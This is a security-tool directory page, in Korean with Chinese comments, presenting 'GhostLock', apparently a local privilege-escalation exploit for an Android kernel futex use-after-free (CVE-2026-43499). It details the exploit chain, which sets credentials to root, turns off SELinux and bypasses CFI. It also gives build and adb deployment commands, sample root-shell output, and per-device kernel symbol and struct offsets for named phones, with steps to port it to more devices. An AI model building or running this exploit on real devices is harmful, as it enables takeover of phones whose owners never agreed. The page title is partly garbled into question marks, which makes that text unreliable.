Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
GhostLock — CVE-2026-43499 futex PI 스택 UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ?????? | Kitploit
도구/GitHubGitHub/wzhdgithub/ghostlock
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationReverse EngineeringBinary Exploitation
GitHubwzhdgithub/ghostlock

GhostLock

CVE-2026-43499 futex PI 스택 UAF ???????? - Android GKI 6.1~6.12 ??????? pselect() + futex PI ????????????,??? root ??? SELinux??? OPPO Find X8?OnePlus ??????

저장소 보기
37일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

GhostLock - CVE-2026-43499 로컬 권한 상승 취약점 익스플로잇

취약점 개요

CVE 번호: CVE-2026-43499
취약점 유형: futex PI(우선순위 상속) 스택 UAF(Use-After-Free)
영향 범위: Linux 커널 6.1 ~ 6.12(Android GKI)
이용 효과: 로컬 권한 상승 + SELinux 비활성화, root shell 획득

작동 원리

취약점 트리거 경로

root@kitploit:~
用户空间 → pselect() → 内核栈上分配 rt_mutex_waiter
                      → futex PI 操作触发 waiter 释放
                      → 释放后的 waiter 内存被 fd_set 操作重用
                      → 通过精心构造的 fd_set 数据控制 waiter 字段
                      → rb_erase() 触发任意内核内存写入

익스플로잇 체인

  1. 취약점 트리거: pselect() + futex PI 경쟁을 통해 커널 스택의 rt_mutex_waiter 해제
  2. 메모리 레이아웃 제어: pipe_buffer로 커널 힙을 스프레이하여 fake rt_mutex_waiter 구성
  3. 임의 쓰기: rb_erase()의 트리 연산을 이용해 제어된 포인터를 대상 주소에 기록
  4. 권한 상승 경로:
    • cred 구조체 수정: uid/gid → 0, capabilities → 모두 활성화
    • SELinux 비활성화: selinux_state.enforcing → 0
  5. 검증: ashmem_fops 재스캔으로 CFI 무결성 확인

프로젝트 구조

root@kitploit:~
GhostLock/
├── README.md                    # 本文档
├── src/
│   ├── core/                    # 核心利用代码
│   │   ├── main.c               # 主入口,漏洞触发
│   │   ├── pipe.c               # pipe_buffer 喷射
│   │   ├── fops.c               # 文件操作劫持
│   │   ├── root.c               # 提权 + SELinux 禁用
│   │   ├── slide.c              # 内核地址随机化处理
│   │   ├── util.c               # 工具函数
│   │   ├── miniadb.c            # 迷你 ADB 服务器
│   │   ├── common.h             # 公共定义
│   │   ├── target.h             # 目标配置
│   │   ├── offset.h             # 偏移量包含
│   │   ├── runtime_offsets.h    # 运行时偏移表
│   │   └── kernelsnitch/        # 内核地址探测
│   │       ├── kernelsnitch.h
│   │       ├── futex_hash.h
│   │       ├── utils.h
│   │       └── timeutils.h
│   └── devices/                 # 设备适配
│       ├── offsets.h            # 偏移量结构定义
│       ├── findx8/              # OPPO Find X8
│       │   └── offsets.h
│       ├── ace6t/               # OnePlus Ace 6T
│       │   └── offsets.h
│       ├── op15/                # OnePlus 15
│       │   └── offsets.h
│       ├── opd2502/             # OnePlus Pad 2
│       │   └── offsets.h
│       └── rmx5070/             # Realme RMX5070
│           └── offsets.h
├── tools/                       # 辅助工具
│   └── extract_btf.py           # BTF 偏移量提取脚本
├── btf_*.py                     # BTF 分析脚本集合
├── Makefile                     # 构建脚本
├── compile.cmd                  # Windows 编译脚本
├── build.rsp                    # 编译响应文件
└── ghostlock                    # 编译产物(ELF aarch64)

지원 기기

컴파일

환경 요구 사항

  • Android NDK r27c 이상
  • Python 3.x(BTF 분석용)
  • Linux/macOS/WSL(Linux 권장)

컴파일 단계

root@kitploit:~
# 1. 设置 NDK 路径
export ANDROID_NDK_HOME=/path/to/android-ndk-r27c

# 2. 编译
make

# 3. 或者直接使用 NDK 编译
$ANDROID_NDK_HOME/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android35-clang \
  --target=aarch64-linux-android35 \
  -O2 -Wall -fPIE -pie -pthread \
  -Isrc/core -Isrc/devices \
  -DTARGET_CONFIG_H=\"target.h\" \
  src/core/*.c -o ghostlock

Windows 컴파일

root@kitploit:~
# 使用提供的 compile.cmd
compile.cmd

사용 방법

사전 조건

  1. 휴대폰에서 USB 디버깅이 활성화되어 있어야 함
  2. PC에 ADB 드라이버가 설치되어 있어야 함
  3. 휴대폰이 USB로 PC에 연결되어 있어야 함

단계

root@kitploit:~
# 1. 确认设备连接
adb devices

# 2. 确认内核版本(必须匹配)
adb shell uname -r
# 期望输出: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k

# 3. 推送 exploit 到手机
adb push ghostlock /data/local/tmp/
adb shell chmod 755 /data/local/tmp/ghostlock

# 4. 运行 exploit
adb shell /data/local/tmp/ghostlock

실행 출력 예시

root@kitploit:~
[*] GhostLock - CVE-2026-43499 Local Privilege Escalation
[*] Target kernel: 6.6.118-android15-8-gebdfad32d749-ab15099304-4k
[*] KASLR base: 0xffffffc080000000
[*] ashmem_misc: 0xffffffc08227c518
[*] ashmem_fops: 0xffffffc0812ef5c0
[*] SELinux enforcing: 0xffffffc082358ee0
[*] Exploiting...
[+] PSELECT path activated
[+] Pipe merge path activated
[+] Root shell obtained!
[+] SELinux disabled
[*] miniadb listening on USB...

성공 기준

  • # 프롬프트(root shell) 표시
  • id 명령에서 uid=0(root) 표시
  • getenforce가 Permissive 반환

기술 세부 사항

커널 메모리 레이아웃

root@kitploit:~
KIMAGE_TEXT_BASE = 0xffffffc080000000  (Find X8)
PAGE_OFFSET      = 0xffffffc000000000
PHYS_OFFSET      = 0x40000000
DIRECT_MAP_END   = 0xffffffc400000000  (16GB RAM)

주요 심볼 오프셋(Find X8)

구조체 오프셋(BTF 검증)

익스플로잇 경로

  1. kernelsnitch - direct_map 영역을 스캔하여 mm_struct 위치 확인
  2. pipe spray - pipe_buffer로 해제된 waiter 메모리 점유
  3. pselect trigger - UAF를 트리거하여 해제된 waiter 재사용
  4. rb_erase write - 레드-블랙 트리 연산으로 임의 쓰기 구현
  5. cred patch - 현재 프로세스 자격 증명 수정
  6. SELinux disable - 강제 접근 제어 비활성화

기기 대응

새 기기 추가

  1. 커널 이미지 추출:

    root@kitploit:~
    # 从手机提取 boot.img
    adb pull /dev/block/by-name/boot boot.img
    
    # 或者从固件包中提取
    
  2. kallsyms 추출:

    root@kitploit:~
    # 使用 vmlinux-to-elf
    python3 -m vmlinux_to_elf boot.img
    # 选择 "Extract kallsyms" 选项
    
  3. BTF 정보 추출:

    root@kitploit:~
    python3 btf_task2.py > task_full.txt
    python3 btf_structs2.py > structs.txt
    
  4. 기기 항목 생성:

    root@kitploit:~
    mkdir -p src/devices/mydevice
    # 复制现有条目作为模板
    cp src/devices/findx8/offsets.h src/devices/mydevice/
    # 修改偏移量
    
  5. 기기 등록: src/devices/offsets.h에 추가:

    root@kitploit:~
    #include "mydevice/offsets.h"
    

오프셋 획득 방법

정보

도구 스크립트

BTF 분석 스크립트

root@kitploit:~
# 提取 task_struct 完整成员
python3 btf_task2.py > task_full.txt

# 提取所有关键结构体
python3 btf_structs2.py > structs.txt

# 提取特定结构体
python3 btf_selinux.py > selinux.txt
python3 btf_mm.py > mm.txt

# 提取原始 BTF 数据
python3 btf_raw.py > raw.txt

kallsyms 추출

root@kitploit:~
# 使用 vmlinux-to-elf
python3 -m vmlinux_to_elf extracted/Image.bin

# 或者使用自定义脚本
python3 run_kallsyms_finder.py

보안 고지

⚠️ 경고: 이 도구는 보안 연구 및 승인된 테스트 전용입니다. 승인 없이 타인의 기기에서 사용하는 것은 불법 행위입니다.

알려진 제한 사항

  • USB 디버깅이 활성화되어 있어야 함
  • ADB 연결 필요(원격 익스플로잇 불가)
  • 커널 버전이 정확히 일치해야 함
  • 일부 기기에는 추가 보안 메커니즘이 있을 수 있음

CFI 보호

이 익스플로잇은 다음과 같은 방법으로 커널의 CFI(Control Flow Integrity) 보호를 우회할 수 있습니다:

  1. ashmem_fops 주소의 유효성 검증
  2. copy_splice_read를 합법적인 호출 대상으로 사용
  3. 재스캔하여 CFI 무결성 확인

디버깅

자주 묻는 질문

Q: "no offsets for kernel: xxx" 오류 발생 A: 커널 버전이 지원되지 않습니다. 기기 항목을 추가해야 합니다

Q: exploit이 멈춤 A: 경쟁 조건 실패일 수 있습니다. 몇 번 다시 시도하세요

Q: kernel panic 발생 A: 가능성은 낮지만(panic_on_oops 미설정), dmesg를 확인할 수 있습니다

디버그 출력

root@kitploit:~
# 启用详细输出
adb shell /data/local/tmp/ghostlock -v

# 查看内核日志
adb shell dmesg | tail -50

관련 자료

  • CVE-2026-43499 상세 정보
  • GhostLock 원본 연구
  • Android GKI 커널

라이선스

이 프로젝트는 MIT 라이선스를 사용합니다.

감사의 말

  • 모든 보안 연구자들의 기여에 감사드립니다
  • Android 보안 팀의 대응에 감사드립니다
  • 오픈소스 커뮤니티의 지원에 감사드립니다

마지막 업데이트: 2026년 8월 13일
작성자: wzh
연락처: [email protected]

도구 다운로드
기기커널 버전상태
OPPO Find X8 (MT6991)6.6.118-android15✅ 지원됨
OnePlus Ace 6T6.1.x✅ 검증됨
OnePlus 156.1.x✅ 검증됨
OnePlus Pad 26.1.x✅ 검증됨
Realme RMX50706.1.x✅ 검증됨
심볼오프셋
init_task0x0211E280
init_cred0x02130748
selinux_enforcing0x02358EE0
ashmem_misc0x0227C518
ashmem_fops0x012EF5C0
kmalloc_caches0x0167A298
구조체필드오프셋
task_structcred0x820
task_structreal_cred0x818
task_structtasks0x550
task_structpi_lock0x90C
task_structseccomp0x8E8
creduid0x08
credcaps0x30
file_operationsioctl0x48
file_operationssplice_read0xB8
출처
도구
심볼 주소kallsymsvmlinux-to-elf
구조체 오프셋BTFbtf_task2.py
물리 메모리 레이아웃IKCONFIGextract-ikconfig
커널 버전unameadb shell uname -r